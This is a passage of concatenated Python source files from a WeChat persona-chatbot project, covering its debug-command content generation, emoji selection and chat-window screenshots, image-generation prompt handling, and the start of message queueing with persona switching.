self.content_generator.generate_letter, 'list': self.content_generator.generate_list, 'pyq': self.content_generator.generate_pyq, 'gift': self.content_generator.generate_gift, 'shopping': self.content_generator.generate_shopping } # 获取并使用相应的生成方法,或使用默认方法 generate_method = content_type_methods.get(content_type) if not generate_method: return f"不支持的内容类型: {content_type}" content = generate_method(avatar_name, user_id) if not content or content.startswith("无法"): return content logger.info(f"已生成{avatar_name}的{content_type} 用户: {user_id}") return content except Exception as e: logger.error(f"生成{content_type}失败: {str(e)}") return f"{content_type}生成失败: {str(e)}" def _generate_content_async(self, content_type: str, avatar_name: str, user_id: str, chat_id: str, callback: Callable[[str, str, str], None]) -> str: """ 异步生成内容 Args: content_type: 内容类型,如 'diary', 'state', 'letter' avatar_name: 角色名 user_id: 用户ID chat_id: 聊天ID,用于回调发送消息 callback: 回调函数,用于处理生成的内容 Returns: str: 初始响应消息 """ if not self.content_generator: return "错误: 内容生成服务未初始化" # 创建异步线程执行内容生成 def generate_thread(): try: # 根据内容类型调用相应的方法 content_type_methods = { 'diary': self.content_generator.generate_diary, 'state': self.content_generator.generate_state, 'letter': self.content_generator.generate_letter, 'list': self.content_generator.generate_list, 'pyq': self.content_generator.generate_pyq, 'gift': self.content_generator.generate_gift, 'shopping': self.content_generator.generate_shopping } # 获取并使用相应的生成方法,或使用默认方法 generate_method = content_type_methods.get(content_type) if not generate_method: result = f"不支持的内容类型: {content_type}" callback(command=f"/{content_type}", reply=result, chat_id=chat_id) return # 生成内容 content = generate_method(avatar_name, user_id) if not content or content.startswith("无法"): callback(command=f"/{content_type}", reply=content, chat_id=chat_id) return logger.info(f"已生成{avatar_name}的{content_type} 用户: {user_id}") # 调用回调函数处理生成的内容 callback(command=f"/{content_type}", reply=content, chat_id=chat_id) except Exception as e: error_msg = f"{content_type}生成失败: {str(e)}" logger.error(error_msg) callback(command=f"/{content_type}", reply=error_msg, chat_id=chat_id) # 启动异步线程 thread = threading.Thread(target=generate_thread) thread.daemon = True # 设置为守护线程,不会阻止程序退出 thread.start() # 静默生成,不返回任何初始响应 return "" def _generate_diary(self, avatar_name: str, user_id: str) -> str: """生成当前角色的日记""" return self._generate_content('diary', avatar_name, user_id) def _generate_state(self, avatar_name: str, user_id: str) -> str: """生成当前角色的状态信息""" return self._generate_content('state', avatar_name, user_id) def _generate_letter(self, avatar_name: str, user_id: str) -> str: """生成当前角色给用户写的信""" return self._generate_content('letter', avatar_name, user_id) def _generate_list(self, avatar_name: str, user_id: str) -> str: """生成当前角色的备忘录""" return self._generate_content('list', avatar_name, user_id) def _generate_pyq(self, avatar_name: str, user_id: str) -> str: """生成当前角色的朋友圈""" return self._generate_content('pyq', avatar_name, user_id) def _generate_gift(self, avatar_name: str, user_id: str) -> str: """生成当前角色想送的礼物""" return self._generate_content('gift', avatar_name, user_id) def _generate_shopping(self, avatar_name: str, user_id: str) -> str: """生成当前角色的购物清单""" return self._generate_content('shopping', avatar_name, user_id)
2302_81798979/KouriChat
src/handlers/debug.py
Python
unknown
15,393
""" 表情包处理模块 负责处理表情包相关功能,包括: - 表情标签识别 - 表情包选择 - 文件管理 """ import os import random import logging from typing import Optional from datetime import datetime import pyautogui import time from wxauto import WeChat from data.config import config logger = logging.getLogger('main') class EmojiHandler: def __init__(self, root_dir): self.root_dir = root_dir # 修改表情包目录路径为avatar目录下的emojis self.emoji_dir = os.path.join(root_dir, config.behavior.context.avatar_dir, "emojis") # 支持的表情类型 self.emotion_types = [ 'happy', 'sad', 'angry', 'neutral', 'love', 'funny', 'cute', 'bored', 'shy', 'embarrassed', 'sleepy', 'lonely', 'hungry', 'comfort', 'surprise', 'confused', 'playful', 'excited', 'tease', 'hot', 'speechless', 'scared', 'emo_1', 'emo_2', 'emo_3', 'emo_4', 'emo_5', 'afraid', 'amused', 'anxious', 'confident', 'cold', 'suspicious', 'loving', 'curious', 'envious', 'jealous', 'miserable', 'stupid', 'sick', 'ashamed', 'withdrawn', 'indifferent', 'sorry', 'determined', 'crazy', 'bashful', 'depressed', 'enraged', 'frightened', 'interested', 'hopeful', 'regretful', 'stubborn', 'thirsty', 'guilty', 'nervous', 'disgusted', 'proud', 'ecstatic', 'frustrated', 'hurt', 'tired', 'smug', 'thoughtful', 'pained', 'optimistic', 'relieved', 'puzzled', 'shocked', 'joyful', 'skeptical', 'bad', 'worried'] self.screenshot_dir = os.path.join(root_dir, 'screenshot') def extract_emotion_tags(self, text: str) -> list: """从文本中提取表情标签""" tags = [] start = 0 while True: start = text.find('[', start) if start == -1: break end = text.find(']', start) if end == -1: break tag = text[start+1:end].lower() if tag in self.emotion_types: tags.append(tag) logger.info(f"检测到表情标签: {tag}") start = end + 1 return tags def get_emoji_for_emotion(self, emotion_type: str) -> Optional[str]: """根据情感类型获取对应表情包""" try: target_dir = os.path.join(self.emoji_dir, emotion_type) logger.info(f"查找表情包目录: {target_dir}") if not os.path.exists(target_dir): logger.warning(f"情感目录不存在: {target_dir}") return None emoji_files = [f for f in os.listdir(target_dir) if f.lower().endswith(('.gif', '.jpg', '.png', '.jpeg'))] if not emoji_files: logger.warning(f"目录中未找到表情包: {target_dir}") return None selected = random.choice(emoji_files) emoji_path = os.path.join(target_dir, selected) logger.info(f"已选择 {emotion_type} 表情包: {emoji_path}") return emoji_path except Exception as e: logger.error(f"获取表情包失败: {str(e)}") return None def capture_and_save_screenshot(self, who: str) -> str: """捕获并保存聊天窗口截图""" try: # 确保截图目录存在 os.makedirs(self.screenshot_dir, exist_ok=True) screenshot_path = os.path.join( self.screenshot_dir, f'{who}_{datetime.now().strftime("%Y%m%d%H%M%S")}.png' ) try: # 激活并定位微信聊天窗口 wx_chat = WeChat() wx_chat.ChatWith(who) chat_window = pyautogui.getWindowsWithTitle(who)[0] # 确保窗口被前置和激活 if not chat_window.isActive: chat_window.activate() if not chat_window.isMaximized: chat_window.maximize() # 获取窗口的坐标和大小 x, y, width, height = chat_window.left, chat_window.top, chat_window.width, chat_window.height time.sleep(1) # 短暂等待确保窗口已激活 # 截取指定窗口区域的屏幕 screenshot = pyautogui.screenshot(region=(x, y, width, height)) screenshot.save(screenshot_path) logger.info(f'已保存截图: {screenshot_path}') return screenshot_path except Exception as e: logger.error(f'截取或保存截图失败: {str(e)}') return None except Exception as e: logger.error(f'创建截图目录失败: {str(e)}') return None def cleanup_screenshot_dir(self): """清理截图目录""" try: if os.path.exists(self.screenshot_dir): for file in os.listdir(self.screenshot_dir): file_path = os.path.join(self.screenshot_dir, file) try: if os.path.isfile(file_path): os.remove(file_path) except Exception as e: logger.error(f"删除截图失败 {file_path}: {str(e)}") except Exception as e: logger.error(f"清理截图目录失败: {str(e)}")
2302_81798979/KouriChat
src/handlers/emoji.py
Python
unknown
5,386
""" 图像处理模块 负责处理图像相关功能,包括: - 图像生成请求识别 - 随机图片获取 - API图像生成 - 临时文件管理 """ import os import logging import requests from datetime import datetime from typing import Optional, List, Tuple import re import time from src.services.ai.llm_service import LLMService # 修改logger获取方式,确保与main模块一致 logger = logging.getLogger('main') class ImageHandler: def __init__(self, root_dir, api_key, base_url, image_model): self.root_dir = root_dir self.api_key = api_key self.base_url = base_url self.image_model = image_model self.temp_dir = os.path.join(root_dir, "data", "images", "temp") # 复用消息模块的AI实例(使用正确的模型名称) from data.config import config self.text_ai = LLMService( api_key=api_key, base_url=base_url, model="kourichat-vision", max_token=2048, temperature=0.5, max_groups=15 ) # 多语言提示模板 self.prompt_templates = { 'basic': ( "请将以下图片描述优化为英文提示词,包含:\n" "1. 主体细节(至少3个特征)\n" "2. 环境背景\n" "3. 艺术风格\n" "4. 质量参数\n" "示例格式:\"A..., ... , ... , digital art, trending on artstation\"\n" "原描述:{prompt}" ), 'creative': ( "你是一位专业插画师,请用英文为以下主题生成详细绘画提示词:\n" "- 核心元素:{prompt}\n" "- 需包含:构图指导/色彩方案/光影效果\n" "- 禁止包含:水印/文字/低质量描述\n" "直接返回结果" ) } # 质量分级参数配置 self.quality_profiles = { 'fast': {'steps': 20, 'width': 768}, 'standard': {'steps': 28, 'width': 1024}, 'premium': {'steps': 40, 'width': 1280} } # 通用负面提示词库(50+常见词条) self.base_negative_prompts = [ "low quality", "blurry", "ugly", "duplicate", "poorly drawn", "disfigured", "deformed", "extra limbs", "mutated hands", "poor anatomy", "cloned face", "malformed limbs", "missing arms", "missing legs", "extra fingers", "fused fingers", "long neck", "unnatural pose", "low resolution", "jpeg artifacts", "signature", "watermark", "username", "text", "error", "cropped", "worst quality", "normal quality", "out of frame", "bad proportions", "bad shadow", "unrealistic", "cartoonish", "3D render", "overexposed", "underexposed", "grainy", "low contrast", "bad perspective", "mutation", "childish", "beginner", "amateur" ] # 动态负面提示词生成模板 self.negative_prompt_template = ( "根据以下图片描述,生成5个英文负面提示词(用逗号分隔),避免出现:\n" "- 与描述内容冲突的元素\n" "- 重复通用负面词\n" "描述内容:{prompt}\n" "现有通用负面词:{existing_negatives}" ) # 提示词扩展触发条件 self.prompt_extend_threshold = 30 # 字符数阈值 os.makedirs(self.temp_dir, exist_ok=True) def is_random_image_request(self, message: str) -> bool: """检查消息是否为请求图片的模式""" # 基础词组 basic_patterns = [ r'来个图', r'来张图', r'来点图', r'想看图', ] # 将消息转换为小写以进行不区分大小写的匹配 message = message.lower() # 1. 检查基础模式 if any(pattern in message for pattern in basic_patterns): return True # 2. 检查更复杂的模式 complex_patterns = [ r'来[张个幅]图', r'发[张个幅]图', r'看[张个幅]图', ] if any(re.search(pattern, message) for pattern in complex_patterns): return True return False def get_random_image(self) -> Optional[str]: """从API获取随机图片并保存""" try: if not os.path.exists(self.temp_dir): os.makedirs(self.temp_dir) # 获取图片链接 response = requests.get('https://t.mwm.moe/pc') if response.status_code == 200: # 生成唯一文件名 timestamp = int(time.time()) image_path = os.path.join(self.temp_dir, f'image_{timestamp}.jpg') # 保存图片 with open(image_path, 'wb') as f: f.write(response.content) return image_path except Exception as e: logger.error(f"获取图片失败: {str(e)}") return None def is_image_generation_request(self, text: str) -> bool: """判断是否为图像生成请求""" # 基础动词 draw_verbs = ["画", "绘", "生成", "创建", "做"] # 图像相关词 image_nouns = ["图", "图片", "画", "照片", "插画", "像"] # 数量词 quantity = ["一下", "一个", "一张", "个", "张", "幅"] # 组合模式 patterns = [ r"画.*[猫狗人物花草山水]", r"画.*[一个张只条串份副幅]", r"帮.*画.*", r"给.*画.*", r"生成.*图", r"创建.*图", r"能.*画.*吗", r"可以.*画.*吗", r"要.*[张个幅].*图", r"想要.*图", r"做[一个张]*.*图", r"画画", r"画一画", ] # 1. 检查正则表达式模式 if any(re.search(pattern, text) for pattern in patterns): return True # 2. 检查动词+名词组合 for verb in draw_verbs: for noun in image_nouns: if f"{verb}{noun}" in text: return True # 检查带数量词的组合 for q in quantity: if f"{verb}{q}{noun}" in text: return True if f"{verb}{noun}{q}" in text: return True # 3. 检查特定短语 special_phrases = [ "帮我画", "给我画", "帮画", "给画", "能画吗", "可以画吗", "会画吗", "想要图", "要图", "需要图", ] if any(phrase in text for phrase in special_phrases): return True return False def _expand_prompt(self, prompt: str) -> str: """使用AI模型扩展简短提示词""" try: if len(prompt) >= 30: # 长度足够则不扩展 return prompt response = self.text_ai.chat( messages=[{"role": "user", "content": self.prompt_templates['basic'].format(prompt=prompt)}], temperature=0.7 ) return response.strip() or prompt except Exception as e: logger.error(f"提示词扩展失败: {str(e)}") return prompt def _translate_prompt(self, prompt: str) -> str: """简单中译英处理(实际可接入翻译API)""" # 简易替换常见中文词汇 translations = { "女孩": "girl", "男孩": "boy", "风景": "landscape", "赛博朋克": "cyberpunk", "卡通": "cartoon style", "写实": "photorealistic", } for cn, en in translations.items(): prompt = prompt.replace(cn, en) return prompt def _generate_dynamic_negatives(self, prompt: str) -> List[str]: """生成动态负面提示词""" try: # 获取现有通用负面词前10个作为示例 existing_samples = ', '.join(self.base_negative_prompts[:10]) response = self.text_ai.chat([{ "role": "user", "content": self.negative_prompt_template.format( prompt=prompt, existing_negatives=existing_samples ) }]) # 解析响应并去重 generated = [n.strip().lower() for n in response.split(',')] return list(set(generated)) except Exception as e: logger.error(f"动态负面词生成失败: {str(e)}") return [] def _build_final_negatives(self, prompt: str) -> str: """构建最终负面提示词""" # 始终包含基础负面词 final_negatives = set(self.base_negative_prompts) # 当提示词简短时触发动态生成 if len(prompt) <= self.prompt_extend_threshold: dynamic_negatives = self._generate_dynamic_negatives(prompt) final_negatives.update(dynamic_negatives) return ', '.join(final_negatives) def _optimize_prompt(self, prompt: str) -> Tuple[str, str]: """多阶段提示词优化""" try: # 第一阶段:基础优化 stage1 = self.text_ai.chat([{ "role": "user", "content": self.prompt_templates['basic'].format(prompt=prompt) }]) # 第二阶段:创意增强 stage2 = self.text_ai.chat([{ "role": "user", "content": self.prompt_templates['creative'].format(prompt=prompt) }]) # 混合策略:取两次优化的关键要素 final_prompt = f"{stage1}, {stage2.split(',')[-1]}" return final_prompt, "multi-step" except Exception as e: logger.error(f"提示词优化失败: {str(e)}") return prompt, "raw" def _select_quality_profile(self, prompt: str) -> dict: """根据提示词复杂度选择质量配置""" word_count = len(prompt.split()) if word_count > 30: return self.quality_profiles['premium'] elif word_count > 15: return self.quality_profiles['standard'] return self.quality_profiles['fast'] def generate_image(self, prompt: str) -> Optional[str]: """整合版图像生成方法""" try: # 自动扩展短提示词 if len(prompt) <= self.prompt_extend_threshold: prompt = self._expand_prompt(prompt) # 多阶段提示词优化 optimized_prompt, strategy = self._optimize_prompt(prompt) logger.info(f"优化策略: {strategy}, 优化后提示词: {optimized_prompt}") # 构建负面提示词 negative_prompt = self._build_final_negatives(optimized_prompt) logger.info(f"最终负面提示词: {negative_prompt}") # 质量配置选择 quality_config = self._select_quality_profile(optimized_prompt) logger.info(f"质量配置: {quality_config}") # 构建请求参数 headers = { "Authorization": f"Bearer {self.api_key}", "Content-Type": "application/json" } payload = { "model": self.image_model, "prompt": f"masterpiece, best quality, {optimized_prompt}", "negative_prompt": negative_prompt, "steps": quality_config['steps'], "width": quality_config['width'], "height": quality_config['width'], # 保持方形比例 "guidance_scale": 7.5, "seed": int(time.time() % 1000) # 添加随机种子 } # 调用生成API response = requests.post( f"{self.base_url}/images/generations", headers=headers, json=payload, timeout=45 ) response.raise_for_status() # 结果处理 result = response.json() if "data" in result and len(result["data"]) > 0: img_url = result["data"][0]["url"] img_response = requests.get(img_url) if img_response.status_code == 200: timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") temp_path = os.path.join(self.temp_dir, f"image_{timestamp}.jpg") with open(temp_path, "wb") as f: f.write(img_response.content) logger.info(f"图片已保存到: {temp_path}") return temp_path logger.error("API返回的数据中没有图片URL") return None except Exception as e: logger.error(f"图像生成失败: {str(e)}") return None def cleanup_temp_dir(self): """清理临时目录中的旧图片""" try: if os.path.exists(self.temp_dir): for file in os.listdir(self.temp_dir): file_path = os.path.join(self.temp_dir, file) try: if os.path.isfile(file_path): os.remove(file_path) logger.info(f"清理旧临时文件: {file_path}") except Exception as e: logger.error(f"清理文件失败 {file_path}: {str(e)}") except Exception as e: logger.error(f"清理临时目录失败: {str(e)}")
2302_81798979/KouriChat
src/handlers/image.py
Python
unknown
13,850
""" 消息处理模块 负责处理聊天消息,包括: - 消息队列管理 - 消息分发处理 - API响应处理 - 多媒体消息处理 """ import logging import threading import time import re from datetime import datetime from wxauto import WeChat from src.services.database import Session, ChatMessage import random import os import json from src.services.ai.llm_service import LLMService from src.services.ai.network_search_service import NetworkSearchService from data.config import config, WEBLENS_ENABLED, NETWORK_SEARCH_ENABLED from modules.recognition import ReminderRecognitionService, SearchRecognitionService from .debug import DebugCommandHandler # 导入emoji库用于处理表情符号 import emoji # 修改logger获取方式,确保与main模块一致 logger = logging.getLogger('main') class MessageHandler: def __init__(self, root_dir, api_key, base_url, model, max_token, temperature, max_groups, robot_name, prompt_content, image_handler, emoji_handler, memory_service, content_generator=None): self.root_dir = root_dir self.api_key = api_key self.model = model self.max_token = max_token self.temperature = temperature self.max_groups = max_groups self.robot_name = robot_name self.prompt_content = prompt_content # 不再需要对话计数器,改为按时间总结 # 使用 DeepSeekAI 替换直接的 OpenAI 客户端 self.deepseek = LLMService( api_key=api_key, base_url=base_url, model=model, max_token=max_token, temperature=temperature, max_groups=max_groups, auto_model_switch=getattr(config.llm, 'auto_model_switch', False) ) # 消息队列相关 self.message_queues = {} # 存储每个用户的消息队列,格式:{queue_key: queue_data} self.queue_timers = {} # 存储每个用户的定时器,格式:{queue_key: timer} # 从全局导入的config中获取队列等待时间(秒) self.QUEUE_TIMEOUT = config.behavior.message_queue.timeout self.queue_lock = threading.Lock() self.chat_contexts = {} # 微信实例 self.wx = WeChat() # 添加 handlers self.image_handler = image_handler self.emoji_handler = emoji_handler # 使用新的记忆服务 self.memory_service = memory_service # 保存当前角色名 avatar_path = os.path.join(self.root_dir, config.behavior.context.avatar_dir) self.current_avatar = os.path.basename(avatar_path) # 从人设文件中提取真实名字 self.avatar_real_names = self._extract_avatar_names(avatar_path) logger.info(f"当前使用角色: {self.current_avatar}, 识别名字: {self.avatar_real_names}") # 使用传入的内容生成器实例,或创建新实例 self.content_generator = content_generator # 如果没有提供内容生成器,尝试创建新实例 if self.content_generator is None: try: from modules.memory.content_generator import ContentGenerator self.content_generator = ContentGenerator( root_dir=root_dir, api_key=config.llm.api_key, base_url=config.llm.base_url, model=config.llm.model, max_token=config.llm.max_tokens, temperature=config.llm.temperature ) logger.info("已创建内容生成器实例") except Exception as e: logger.error(f"创建内容生成器实例失败: {str(e)}") self.content_generator = None # 初始化调试命令处理器 self.debug_handler = DebugCommandHandler( root_dir=root_dir, memory_service=memory_service, llm_service=self.deepseek, content_generator=self.content_generator ) # 需要保留原始格式的命令列表 # 包含 None 以处理网页内容提取等非命令的特殊情况 self.preserve_format_commands = [None, '/diary', '/state', '/letter', '/list', '/pyq', '/gift', '/shopping'] logger.info("调试命令处理器已初始化") # 初始化识别服务 self.remind_request_recognitor = ReminderRecognitionService(self.deepseek) self.search_request_recognitor = SearchRecognitionService(self.deepseek) logger.info("意图识别服务已初始化") # 初始化提醒服务(传入自身实例) from modules.reminder import ReminderService self.reminder_service = ReminderService(self, self.memory_service) logger.info("提醒服务已初始化") # 初始化网络搜索服务 self.network_search_service = NetworkSearchService(self.deepseek) logger.info("网络搜索服务已初始化") def switch_avatar_temporarily(self, avatar_path: str): """临时切换人设(不修改全局配置,仅用于群聊)""" try: # 重新加载人设文件 full_avatar_path = os.path.join(self.root_dir, avatar_path) prompt_path = os.path.join(full_avatar_path, "avatar.md") if os.path.exists(prompt_path): with open(prompt_path, "r", encoding="utf-8") as file: self.prompt_content = file.read() # 更新当前人设名 self.current_avatar = os.path.basename(full_avatar_path) # 重新提取人设名字 self.avatar_real_names = self._extract_avatar_names(full_avatar_path) logger.info(f"临时切换人设到: {self.current_avatar}, 识别名字: {self.avatar_real_names}") else: logger.error(f"人设文件不存在: {prompt_path}") except Exception as e: logger.error(f"临时切换人设失败: {str(e)}") def restore_default_avatar(self): """恢复到默认人设""" try: default_avatar_path = config.behavior.context.avatar_dir # 重新加载默认人设文件 full_avatar_path = os.path.join(self.root_dir, default_avatar_path) prompt_path = os.path.join(full_avatar_path, "avatar.md") if os.path.exists(prompt_path): with open(prompt_path, "r", encoding="utf-8") as file: self.prompt_content = file.read() # 更新当前人设名 self.current_avatar = os.path.basename(full_avatar_path) # 重新提取人设名字 self.avatar_real_names = self._extract_avatar_names(full_avatar_path) logger.info(f"恢复到默认人设: {self.current_avatar}, 识别名字: {self.avatar_real_names}") else: logger.error(f"默认人设文件不存在: {prompt_path}") except Exception as e: logger.error(f"恢复默认人设失败: {str(e)}") def switch_avatar(self, avatar_path: str): """切换人设""" try: # 更新当前人设路径 config.behavior.context.avatar_dir = avatar_path # 重新加载人设文件 full_avatar_path = os.path.join(self.root_dir, avatar_path) prompt_path = os.path.join(full_avatar_path, "avatar.md") if os.path.exists(prompt_path): with open(prompt_path, "r", encoding="utf-8") as file: self.prompt_content = file.read() # 更新当前人设名 self.current_avatar = os.path.basename(full_avatar_path) # 重新提取人设名字 self.avatar_real_names = self._extract_avatar_names(full_avatar_path) logger.info(f"成功切换人设到: {self.current_avatar}, 识别名字: {self.avatar_real_names}") else: logger.error(f"人设文件不存在: {prompt_path}") except Exception as e: logger.error(f"切换人设失败: {str(e)}") def _extract_avatar_names(self, avatar_path: str) -> list: """从人设文件中提取可能的名字""" names = [] # 不包含目录名,避免ATRI这样的英文名干扰 try: avatar_file = os.path.join(avatar_path, "avatar.md") if os.path.exists(avatar_file): with open(avatar_file, 'r', encoding='utf-8') as f: content = f.read() # 使用正则表达式提取可能的名字 import re # 提取"你是xxx"模式的名字(最重要的模式) matches = re.findall(r'你是([^,,。!!??\s]+)', content) for match in matches: # 过滤掉明显不是名字的词 if match not in names and len(match) <= 6 and '机器' not in match: names.append(match) # 提取"名字[::]\s*xxx"模式的名字 matches = re.findall(r'名字[::]\s*([^,,。!!??\s\n]+)', content) for match in matches: if match not in names and len(match) <= 6: names.append(match) # 提取"扮演xxx"模式的名字 matches = re.findall(r'扮演([^,,。!!??\s]+)', content) for match in matches: # 只要中文名字,过滤掉长词 if match not in names and len(match) <= 6 and any('\u4e00' <= c <= '\u9fff' for c in match): names.append(match) except Exception as e: logger.warning(f"提取人设名字失败: {str(e)}") # 如果没有提取到任何名字,使用目录名作为备选 if not names: names = [self.current_avatar] return names def _get_queue_key(self, chat_id: str, sender_name: str, is_group: bool) -> str: """生成队列键值 在群聊中使用 chat_id + sender_name 作为键,在私聊中仅使用 chat_id""" return f"{chat_id}_{sender_name}" if is_group else chat_id def _add_at_tag_if_needed(self, reply: str, sender_name: str, is_group: bool) -> str: """统一处理@标签添加逻辑,避免重复添加 Args: reply: 原始回复内容 sender_name: 发送者名称 is_group: 是否为群聊 Returns: str: 处理后的回复内容 """ if not is_group: return reply # 检查回复是否已经包含@用户名,避免重复添加 # 同时检查空格和换行符的情况 if reply.startswith(f"@{sender_name} ") or reply.startswith(f"@{sender_name}\n") or reply.startswith( f"@{sender_name}$"): logger.info(f"AI回复中已包含@标签,无需添加。回复: {reply[:50]}...") return reply elif reply.startswith("@") and sender_name in reply.split()[0]: # 检查是否@了正确的用户(处理各种分隔符的情况) logger.info(f"AI回复中已包含@标签,无需添加。回复: {reply[:50]}...") return reply elif "@" in reply and not reply.startswith("@"): # 如果@符号不在开头,说明可能在回复中提到了其他人 logger.debug("回复中包含@符号但不在开头,添加@标签") return f"@{sender_name} {reply}" else: logger.debug("群聊环境下添加@标签") return f"@{sender_name} {reply}" def _get_user_relationship_info(self, sender_name: str) -> str: """获取用户关系信息,用于群聊环境判断""" try: avatar_name = self.current_avatar # 检查是否有该用户的私聊记忆 has_private_memory = self.memory_service.has_user_memory(avatar_name, sender_name) # 检查特殊关系设定(从核心记忆中查找) special_relationship = self._get_special_relationship(avatar_name, sender_name) if has_private_memory: base_info = f"发送者 {sender_name} 与你有私聊记忆。" if special_relationship: return f"## 当前发送者关系状态:\n{base_info} 特殊关系:{special_relationship}。" else: return f"## 当前发送者关系状态:\n{base_info}" else: base_info = f"发送者 {sender_name} 没有私聊记忆。" if special_relationship: return f"## 当前发送者关系状态:\n{base_info} 特殊关系:{special_relationship}。" else: return f"## 当前发送者关系状态:\n{base_info}" except Exception as e: logger.error(f"获取用户关系信息失败: {str(e)}") return f"## 当前发送者关系状态:\n发送者 {sender_name} 关系状态未知,请保持礼貌友好的态度。" def _get_special_relationship(self, avatar_name: str, user_name: str) -> str: """从核心记忆中查找特殊关系设定""" try: # 获取所有用户的核心记忆,查找关于特定用户的关系设定 avatars_dir = os.path.join(self.root_dir, "data", "avatars", avatar_name, "memory") if not os.path.exists(avatars_dir): return "" # 遍历所有用户的记忆文件 for user_dir in os.listdir(avatars_dir): core_memory_path = os.path.join(avatars_dir, user_dir, "core_memory.json") if os.path.exists(core_memory_path): try: with open(core_memory_path, "r", encoding="utf-8") as f: core_memory = json.load(f) content = core_memory.get("content", "") # 查找关于特定用户的关系描述 if user_name in content: # 简单的关键词匹配 relationship_keywords = { "朋友": f"{user_name}是朋友", "敌人": f"{user_name}是敌人", "兄弟": f"{user_name}是兄弟", "姐妹": f"{user_name}是姐妹", "同事": f"{user_name}是同事", "老师": f"{user_name}是老师", "学生": f"{user_name}是学生" } for keyword, description in relationship_keywords.items(): if keyword in content and user_name in content: return description except Exception as e: logger.debug(f"读取核心记忆文件失败: {str(e)}") continue return "" except Exception as e: logger.error(f"查找特殊关系失败: {str(e)}") return "" def save_message(self, sender_id: str, sender_name: str, message: str, reply: str, is_system_message: bool = False): """保存聊天记录到数据库和短期记忆""" try: # 清理回复中的@前缀,防止幻觉 clean_reply = reply if reply.startswith(f"@{sender_name} "): clean_reply = reply[len(f"@{sender_name} "):] # 保存到数据库 session = Session() chat_message = ChatMessage( sender_id=sender_id, sender_name=sender_name, message=message, reply=reply ) session.add(chat_message) session.commit() session.close() avatar_name = self.current_avatar # 添加到记忆,传递系统消息标志和用户ID self.memory_service.add_conversation(avatar_name, message, clean_reply, sender_id, is_system_message) except Exception as e: logger.error(f"保存消息失败: {str(e)}") def get_api_response(self, message: str, user_id: str, is_group: bool = False) -> str: """获取 API 回复""" # 使用类中已初始化的当前角色名 avatar_name = self.current_avatar try: # 使用已加载的人设内容(支持临时切换) avatar_content = self.prompt_content logger.debug(f"角色提示文件大小: {len(avatar_content)} bytes") # 步骤2:获取核心记忆 - 使用用户ID获取对应的记忆 core_memory = self.memory_service.get_core_memory(avatar_name, user_id=user_id) core_memory_prompt = f"# 核心记忆\n{core_memory}" if core_memory else "" logger.debug(f"核心记忆长度: {len(core_memory)}") # 获取历史上下文(仅在程序重启时) # 检查是否已经为该用户加载过上下文 recent_context = None if user_id not in self.deepseek.chat_contexts: recent_context = self.memory_service.get_recent_context(avatar_name, user_id) if recent_context: logger.info(f"程序启动:为用户 {user_id} 加载 {len(recent_context)} 条历史上下文消息") logger.debug(f"用户 {user_id} 的历史上下文: {recent_context}") # 如果是群聊场景,添加群聊环境提示 if is_group: group_prompt_path = os.path.join(self.root_dir, "src", "base", "group.md") with open(group_prompt_path, "r", encoding="utf-8") as f: group_chat_prompt = f.read().strip() # 检查当前发送者是否有私聊记忆来判断关系 relationship_info = self._get_user_relationship_info(user_id) combined_system_prompt = f"{group_chat_prompt}\n\n{relationship_info}\n\n{avatar_content}" else: combined_system_prompt = avatar_content # 获取系统提示词(如果有) if hasattr(self, 'system_prompts') and user_id in self.system_prompts and self.system_prompts[user_id]: # 将最近的系统提示词合并为一个字符串 additional_prompt = "\n\n".join(self.system_prompts[user_id]) logger.info(f"使用系统提示词: {additional_prompt[:100]}...") # 将系统提示词添加到角色提示词中 combined_system_prompt = f"{combined_system_prompt}\n\n参考信息:\n{additional_prompt}" # 使用后清除系统提示词,避免重复使用 self.system_prompts[user_id] = [] response = self.deepseek.get_response( message=message, user_id=user_id, system_prompt=combined_system_prompt, previous_context=recent_context, core_memory=core_memory_prompt ) return response except Exception as e: logger.error(f"获取API响应失败: {str(e)}") # 降级处理:使用原始提示,不添加记忆 return self.deepseek.get_response(message, user_id, self.prompt_content) def handle_user_message(self, content: str, chat_id: str, sender_name: str, username: str, is_group: bool = False, is_image_recognition: bool = False): """统一的消息处理入口""" try: logger.info(f"收到消息 - 来自: {sender_name}" + (" (群聊)" if is_group else "")) logger.debug(f"消息内容: {content}") # 处理调试命令 if self.debug_handler.is_debug_command(content): logger.info(f"检测到调试命令: {content}") # 定义回调函数,用于异步处理生成的内容 def command_callback(command, reply, chat_id): try: # 统一处理@标签 reply = self._add_at_tag_if_needed(reply, sender_name, is_group) # 使用命令响应发送方法 self._send_command_response(command, reply, chat_id) logger.info(f"异步处理命令完成: {command}") except Exception as e: logger.error(f"异步处理命令失败: {str(e)}") intercept, response = self.debug_handler.process_command( command=content, current_avatar=self.current_avatar, user_id=chat_id, chat_id=chat_id, callback=command_callback ) if intercept: # 只有当有响应时才发送(异步生成内容的命令不会有初始响应) if response: # 统一处理@标签 response = self._add_at_tag_if_needed(response, sender_name, is_group) # self.wx.SendMsg(msg=response, who=chat_id) self._send_raw_message(response, chat_id) # 不记录调试命令的对话 logger.info(f"已处理调试命令: {content}") return None # 无论消息中是否包含链接,都将消息添加到队列 # 如果有链接,在队列处理过程中提取内容并替换 self._add_to_message_queue(content, chat_id, sender_name, username, is_group, is_image_recognition) except Exception as e: logger.error(f"处理消息失败: {str(e)}", exc_info=True) return None def _add_to_message_queue(self, content: str, chat_id: str, sender_name: str, username: str, is_group: bool, is_image_recognition: bool): """添加消息到队列并设置定时器""" # 检测消息中是否包含链接,但不立即处理 has_link = False if WEBLENS_ENABLED: urls = self.network_search_service.detect_urls(content) if urls: has_link = True logger.info(f"[消息队列] 检测到链接: {urls[0]},将在队列处理时提取内容") with self.queue_lock: queue_key = self._get_queue_key(chat_id, sender_name, is_group) # 初始化或更新队列 if queue_key not in self.message_queues: logger.info(f"[消息队列] 创建新队列 - 用户: {sender_name}" + (" (群聊)" if is_group else "")) self.message_queues[queue_key] = { 'messages': [content], 'chat_id': chat_id, # 保存原始chat_id用于发送消息 'sender_name': sender_name, 'username': username, 'is_group': is_group, 'is_image_recognition': is_image_recognition, 'last_update': time.time(), 'has_link': has_link, # 标记消息中是否包含链接 'urls': urls if has_link else [] # 如果有链接,保存URL列表 } logger.debug(f"[消息队列] 首条消息: {content[:50]}...") else: # 添加新消息到现有队列,后续消息不带时间戳 self.message_queues[queue_key]['messages'].append(content) self.message_queues[queue_key]['last_update'] = time.time() self.message_queues[queue_key]['has_link'] = (has_link | self.message_queues[queue_key]['has_link']) if has_link: self.message_queues[queue_key]['urls'].append(urls[0]) msg_count = len(self.message_queues[queue_key]['messages']) 